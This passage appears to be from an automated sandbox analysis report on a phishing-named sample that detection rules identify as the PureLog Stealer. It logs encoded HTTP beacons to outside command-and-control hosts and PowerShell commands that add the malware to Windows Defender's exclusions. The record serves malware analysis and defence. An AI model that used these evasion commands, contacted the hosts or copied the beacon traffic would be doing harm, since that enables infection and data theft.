77 77 6f 43 43 47 76 38 51 6c 77 39 2f 76 44 61 71 35 6f 62 31 4d 65 36 6e 62 51 6d 6a 6a 57 46 45 5a 51 65 50 65 54 65 4c 5a 4c 58 50 63 58 2b 45 66 45 55 44 78 4b 75 4a 78 69 6c 7a 48 59 70 41 36 36 50 4c 70 46 64 6f 6b 63 41 77 75 51 44 43 63 72 36 63 47 75 36 4c 61 48 75 61 [TRUNCATED] Data Ascii: LRW=gXp/hIlLfxtP0kOkoSz5nXs/yRStuKXu8j6vhpJEPicJuJB9Il0u1o6wxCqR15UTdJOiwzaiJSjFyduMUOocAWOLa/6mhyH2GsjjNS2xjcoxYEVvlNVCirNlmRRrVVVetqJcnzrFB7KMVOBInb5IIoNyN3kcP5RYUhTQBu0fOBQlNtM4cwZzNZRtlh8HCaTsh8U5m4fwidRoQEMf7via29+o4lOddy9UNWm/qhPm/lfQ/z9BBwwoCCGv8Qlw9/vDaq5ob1Me6nbQmjjWFEZQePeTeLZLXPcX+EfEUDxKuJxilzHYpA66PLpFdokcAwuQDCcr6cGu6LaHuahmatuCJFZsfjFd9QQBrlbGTpidooDuM0FvRp+ukpme2vFEO2RuMTFDCFAddIwoKziDKEBhEH/KD4aQcMAoE3mndrbLpltrdB67Ky2P8jzua75agFHLSUYCrYWtXRaiII5TaRzFeNunxRFTw1EMDzWQ+B3UTuJKq8URM1qOU9JnBvc75TQJFEzJ5zcOuI/Zxi/F+YNP2OBx9ANnzAgczp8/tRWU9qIJUllTB8sgET2BIk5veEP4QaPQq6KacAR9DypRnh/CUnzaJdH9xz5SwAgZwQEkgWkS4mWRfxxeGfQkqg780vCMhNOawx/Xpu8tq6jtk2pskAbwKY8Z7QeSaxKH+qkOPYp9c/GhkiU1/DBiqGGO3jQsXZ1coT8kL7w43ljKgubBu38DpEMP7L9YX0A485BJ7Nk5Gk9j7dQxUXxjqxIflqA1nnvFVO6R7jN6ALNEvTnUnOol9TmWCkkXvIxOJMDTG1c9fYzfHvvpqnTaa0fmAL/mKIPQT+t59N+MB+sZIdHrvse8R4z7hkfRw4yA5e9xml2SFHktOoK19ewrer4vTHN+9w2Wdm8Dy7pwiJctrmpP30jkBenSIOOV/Bc0EqVdut1Ew0IliPomLrAo4ymWY7a4T9YonzKIVFqL7pbkmelj87lgsC3yJDPH3lnqvMGbp/Ff/WU5 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49860	154.23.176.197	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:14.372795105 CET	467	OUT	GET /b20s/?LRW=tVBfi4VbWyAR4A6JwX/2lnpR3RCqqMOz/iPk8q4RNy1B2px1ZjxG3cjS/n2u+as/M6yp5i3EDz3+5965KIAUeXyPV8KfzAH0F+33TTK6hNoSGlASxdt3tI0=&fvqp6=9vfXK HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.shipincheshi.today Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Nov 27, 2024 16:44:16.038902998 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 27 Nov 2024 15:58:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 b3 bb e7 bb 9f e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 36 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d [TRUNCATED] Data Ascii: 2000<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title></title> <meta name="robots" content="noindex,nofollow" /> <style> /* Base */ body { color: #333; font: 16px Verdana, "Helvetica Neue", helvetica, Arial, 'Microsoft YaHei', sans-serif; margin: 0; padding: 0 20px 20px; } h1{ margin: 10px 0 0; font-size: 28px; font-weight: 500; line-height: 32px; } h2{ color: #4288ce; font-weight: 400; padding: 6px 0; margin: 6px 0 0; font-size: 18px; border-bottom: 1px solid #eee; } h3{ margin: 12px; font-size: 16px; font-weight: bold; } abbr{ cursor: help; text-decoration: underline; text-decoration-style: dotted; } a{ color [TRUNCATED]
Nov 27, 2024 16:44:16.038922071 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a Data Ascii: cursor: pointer; } a:hover{ text-decoration: underline; } .line-error{ background: #f8cbcb; } .echo table { width: 100%; } .echo pr
Nov 27, 2024 16:44:16.038995981 CET	448	IN	Data Raw: 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 39 39 39 3b 0a Data Ascii: padding: 16px; border-radius: 4px; background: #999; } .exception .source-code{ padding: 6px; border: 1px solid #ddd; background: #f9f9f9; overflow-x
Nov 27, 2024 16:44:16.039007902 CET	1236	IN	Data Raw: 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 Data Ascii: ne-block; min-width: 100%; box-sizing: border-box; font-size:14px; font-family: "Century Gothic",Consolas,"Liberation Mono",Courier,Verdana; padding-left: 48px; } .excepti
Nov 27, 2024 16:44:16.039097071 CET	1236	IN	Data Raw: 20 2a 2f 0a 20 20 20 20 20 20 20 20 2e 65 78 63 65 70 74 69 6f 6e 2d 76 61 72 20 74 61 62 6c 65 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 Data Ascii: */ .exception-var table{ width: 100%; margin: 12px 0; box-sizing: border-box; table-layout:fixed; word-wrap:break-word; } .exception-var table cap
Nov 27, 2024 16:44:16.039108992 CET	1236	IN	Data Raw: 6e 74 73 20 77 69 74 68 20 74 68 65 20 63 6c 61 73 73 65 73 20 62 65 6c 6f 77 20 61 72 65 20 61 64 64 65 64 20 62 79 20 70 72 65 74 74 79 70 72 69 6e 74 2e 20 2a 2f 0a 20 20 20 20 20 20 20 20 70 72 65 2e 70 72 65 74 74 79 70 72 69 6e 74 20 2e 70 Data Ascii: nts with the classes below are added by prettyprint. / pre.prettyprint .pln { color: #000 } / plain text / pre.prettyprint .str { color: #080 } / string content / pre.prettyprint .kwd { color: #008 } / a keywor
Nov 27, 2024 16:44:16.039123058 CET	1236	IN	Data Raw: 65 70 74 69 6f 6e 5c 48 74 74 70 45 78 63 65 70 74 69 6f 6e 22 3e 48 74 74 70 45 78 63 65 70 74 69 6f 6e 3c 2f 61 62 62 72 3e 20 69 6e 20 3c 61 20 63 6c 61 73 73 3d 22 74 6f 67 67 6c 65 22 20 74 69 74 6c 65 3d 22 2f 77 77 77 2f 77 77 77 72 6f 6f Data Ascii: eption\HttpException">HttpException</abbr> in <a class="toggle" title="/www/wwwroot/jianche.zhongzhuankk144.sbs/thinkphp/library/think/route/dispatch/Module.php line 62">Module.php line 62</a></h2> </div> <div><
Nov 27, 2024 16:44:16.039302111 CET	896	IN	Data Raw: 3c 63 6f 64 65 3e 20 20 20 20 20 20 20 20 7d 0a 3c 2f 63 6f 64 65 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 6e 65 2d 36 35 22 3e 3c 63 6f 64 65 3e 0a 3c 2f 63 6f 64 65 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 6e 65 Data Ascii: <code> }</code></li><li class="line-65"><code></code></li><li class="line-66"><code> // </code></li><li class="line-67"><code> $convert = is_bool($this->convert) ? $this->con
Nov 27, 2024 16:44:16.039330006 CET	1236	IN	Data Raw: 72 6f 75 74 65 2f 64 69 73 70 61 74 63 68 2f 4d 6f 64 75 6c 65 2e 70 68 70 20 6c 69 6e 65 20 36 32 22 3e 4d 6f 64 75 6c 65 2e 70 68 70 20 6c 69 6e 65 20 36 32 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: route/dispatch/Module.php line 62">Module.php line 62</a></li> <li> at <abbr title="think\route\dispatch\Module">Module</abbr>->init() in <a class="toggle" title="/www/wwwroot/jianche.zhongzhuank
Nov 27, 2024 16:44:16.039341927 CET	224	IN	Data Raw: 70 52 33 52 43 71 71 4d 4f 7a 2f 69 50 6b 38 71 34 52 4e 79 31 42 32 70 78 31 5a 6a 78 47 33 63 6a 53 2f 6e 32 75 20 61 73 2f 4d 36 79 70 35 69 33 45 44 7a 33 20 35 39 36 35 4b 49 41 55 65 58 79 50 56 38 4b 66 7a 41 48 30 46 20 33 33 54 54 4b 36 Data Ascii: pR3RCqqMOz/iPk8q4RNy1B2px1ZjxG3cjS/n2u as/M6yp5i3EDz3 5965KIAUeXyPV8KfzAH0F 33TTK6hNoSGlASxdt3tI0= </td> </tr> <tr> <td>fvqp6</td>
Nov 27, 2024 16:44:16.159933090 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 39 76 66 58 4b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 74 64 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <td> 9vfXK </td> </tr> </tbody> </table> <table> <caption>POST Data<small>empty</s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49878	194.58.112.174	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:21.925726891 CET	722	OUT	POST /7plr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.elinor.club Origin: http://www.elinor.club Referer: http://www.elinor.club/7plr/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 200 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 6d 2f 6f 31 71 6a 52 6e 48 77 62 37 44 58 61 41 42 33 73 32 75 4c 73 2f 5a 6d 4a 65 64 74 7a 2b 58 65 6c 56 78 30 6f 4d 67 57 65 6b 53 4d 33 4b 41 56 67 74 30 72 41 6b 45 68 6a 42 64 32 37 57 58 52 31 30 4f 4e 6a 55 65 34 46 52 71 6b 6c 7a 77 34 34 6a 42 30 4d 54 53 72 77 4b 42 57 63 36 36 6c 45 57 61 79 66 5a 67 47 46 77 34 4d 78 6c 5a 74 31 55 71 56 66 79 50 44 56 67 36 51 4e 72 4c 33 45 62 59 6a 72 43 4b 52 67 7a 79 45 6c 55 41 45 2b 79 73 53 65 78 39 61 36 33 39 37 73 49 53 39 53 4a 57 46 70 4e 4d 56 42 65 64 58 6c 63 2f 74 4e 36 53 35 41 7a 70 4a 4d 74 50 4d 71 31 63 41 3d 3d Data Ascii: LRW=m/o1qjRnHwb7DXaAB3s2uLs/ZmJedtz+XelVx0oMgWekSM3KAVgt0rAkEhjBd27WXR10ONjUe4FRqklzw44jB0MTSrwKBWc66lEWayfZgGFw4MxlZt1UqVfyPDVg6QNrL3EbYjrCKRgzyElUAE+ysSex9a6397sIS9SJWFpNMVBedXlc/tN6S5AzpJMtPMq1cA==
Nov 27, 2024 16:44:23.316205025 CET	341	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 27 Nov 2024 15:44:23 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/7plr/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49884	194.58.112.174	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:24.587764978 CET	742	OUT	POST /7plr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.elinor.club Origin: http://www.elinor.club Referer: http://www.elinor.club/7plr/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 220 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 6d 2f 6f 31 71 6a 52 6e 48 77 62 37 52 44 6d 41 44 51 34 32 69 37 73 34 56 47 4a 65 45 39 7a 36 58 65 70 56 78 31 38 63 68 67 4f 6b 53 6f 37 4b 42 58 49 74 78 72 41 6b 63 52 6a 45 41 47 37 6a 58 51 49 4a 4f 4d 50 55 65 34 52 52 71 68 42 7a 78 4c 51 67 42 6b 4d 52 55 72 77 79 4d 32 63 36 36 6c 45 57 61 78 6a 2f 67 47 64 77 34 38 68 6c 66 35 42 56 6e 31 66 78 4d 44 56 67 77 41 4d 69 4c 33 45 74 59 6d 58 6f 4b 56 51 7a 79 47 39 55 48 56 2b 78 6c 53 65 7a 67 4b 37 59 38 37 35 2f 4b 50 6e 64 66 46 74 44 4e 52 78 6c 52 78 6f 47 75 63 73 74 41 35 6b 41 30 4f 46 5a 43 50 58 38 48 46 41 54 54 41 4d 57 39 33 61 49 38 35 67 44 75 63 64 78 56 77 38 3d Data Ascii: LRW=m/o1qjRnHwb7RDmADQ42i7s4VGJeE9z6XepVx18chgOkSo7KBXItxrAkcRjEAG7jXQIJOMPUe4RRqhBzxLQgBkMRUrwyM2c66lEWaxj/gGdw48hlf5BVn1fxMDVgwAMiL3EtYmXoKVQzyG9UHV+xlSezgK7Y875/KPndfFtDNRxlRxoGucstA5kA0OFZCPX8HFATTAMW93aI85gDucdxVw8=
Nov 27, 2024 16:44:25.958144903 CET	341	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 27 Nov 2024 15:44:25 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/7plr/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49891	194.58.112.174	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:27.263787031 CET	10824	OUT	POST /7plr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.elinor.club Origin: http://www.elinor.club Referer: http://www.elinor.club/7plr/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10300 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 6d 2f 6f 31 71 6a 52 6e 48 77 62 37 52 44 6d 41 44 51 34 32 69 37 73 34 56 47 4a 65 45 39 7a 36 58 65 70 56 78 31 38 63 68 67 47 6b 54 62 7a 4b 41 77 38 74 32 72 41 6b 43 68 6a 46 41 47 37 45 58 51 51 4e 4f 4d 54 71 65 37 70 52 71 44 4a 7a 32 36 51 67 4b 6b 4d 52 57 72 77 4a 42 57 64 67 36 6c 55 53 61 79 62 2f 67 47 64 77 34 2b 4a 6c 4a 64 31 56 6c 31 66 79 50 44 56 73 36 51 4e 48 4c 33 63 39 59 6e 6a 53 4c 6b 73 7a 79 6d 74 55 47 6e 47 78 75 53 65 31 6a 4b 37 41 38 37 6c 67 4b 50 37 52 66 47 77 6f 4e 57 42 6c 52 77 52 36 7a 75 30 52 53 49 45 34 78 50 78 74 46 74 54 45 4a 6e 38 31 55 54 41 2f 6c 6c 72 6d 2f 4a 6c 76 70 75 68 55 42 56 48 6e 76 57 68 33 78 30 46 73 47 56 39 6d 33 65 31 42 33 45 2b 42 4f 4c 6c 4b 44 53 44 54 64 4c 7a 4e 39 6e 58 77 72 2b 44 33 62 6d 6b 4b 59 46 62 71 68 74 6c 54 6e 68 59 55 42 39 4a 44 52 55 69 5a 64 5a 49 2b 7a 73 46 72 4c 66 50 2b 78 46 4e 51 75 2b 43 57 56 73 57 34 35 63 32 52 4a 76 6c 6f 79 7a 4b 55 35 78 72 76 79 73 59 78 4e 66 73 2f 32 59 4e 43 6b 32 [TRUNCATED] Data Ascii: LRW=m/o1qjRnHwb7RDmADQ42i7s4VGJeE9z6XepVx18chgGkTbzKAw8t2rAkChjFAG7EXQQNOMTqe7pRqDJz26QgKkMRWrwJBWdg6lUSayb/gGdw4+JlJd1Vl1fyPDVs6QNHL3c9YnjSLkszymtUGnGxuSe1jK7A87lgKP7RfGwoNWBlRwR6zu0RSIE4xPxtFtTEJn81UTA/llrm/JlvpuhUBVHnvWh3x0FsGV9m3e1B3E+BOLlKDSDTdLzN9nXwr+D3bmkKYFbqhtlTnhYUB9JDRUiZdZI+zsFrLfP+xFNQu+CWVsW45c2RJvloyzKU5xrvysYxNfs/2YNCk2sxH8cZnM029lf3Lpc8UuVnIEh/guB5djRneXHMpOhrgc89UXLovSB0Y0nmPZM3hDMuR/PzCA8B1rpbyTlcu5EQJD5CyIaLonaiBgA8MQ7zfCbnhAGaDbXDRUjRTtksNorDWUJ3LdwHq8fcu1OscLR8oqkZ9u+L4dJx6LMVzGWaee42Vlonf3PXnvIzI7YBCO+MsWJln+Z/hQYgap4mbUZBhkP3Rmkk1x3dWVoA841g1V9d9lja35UcNFVjYuQom7F8T8Ov6xaTwROedEZBNoPbYi7T1TrTPaUfnW9wDNmmFeUPn+NMipxR1hE0e/+ET8/mbB86zr6yv5Nw7RSkRHIy7CmQl7IE9G7bRoONYFVDWxexnmyGMQY48kHJiMzqeL5ilKju1hWA0r4RUFQGZVicXCf2kAtWF1DEdaX7014esOSJoFdU/5+eLlbvzR8wGBjwY4cS3eKkvOEyYNpmNT/9lramgdSQTiT8j9torUfpMKrThhgOsVFLZvxyxHXenkbGM2bI2vmckI2lyd+B4GvAwn++4NwHcBuyq5RYSSlvuJSjVkFQMSm/114CjHvqcSZ69DjEesFrnl440E5jQCuWosKzUaZ0M6z3fFuNRXyS/ZyR+5kybzexzgfFMBXmseFeeC9btvwx6ixk3bhGPgpwZWWXt/aCWUYJ [TRUNCATED]
Nov 27, 2024 16:44:28.671099901 CET	341	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 27 Nov 2024 15:44:28 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/7plr/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49898	194.58.112.174	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:29.924264908 CET	460	OUT	GET /7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL+vM7NE/eWH/lfB0APMSfRaR1rRBz2uUzJ3oOd5olZUFD7UQvVw3JpX4K8u0SeOs3hkY= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.elinor.club Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Nov 27, 2024 16:44:31.285835981 CET	478	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 27 Nov 2024 15:44:31 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL+vM7NE/eWH/lfB0APMSfRaR1rRBz2uUzJ3oOd5olZUFD7UQvVw3JpX4K8u0SeOs3hkY= Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Target ID:	0
Start time:	10:42:26
Start date:	27/11/2024
Path:	C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"
Imagebase:	0x8b0000
File size:	1'001'992 bytes
MD5 hash:	574C0E8C1D426321E95BD8476334F271
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1808502142.0000000003ED5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1808502142.0000000003EB9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1812017169.00000000056C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	10:42:34
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"
Imagebase:	0x6a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	10:42:34
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	10:42:34
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe"
Imagebase:	0x6a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	10:42:34
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	10:42:34
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
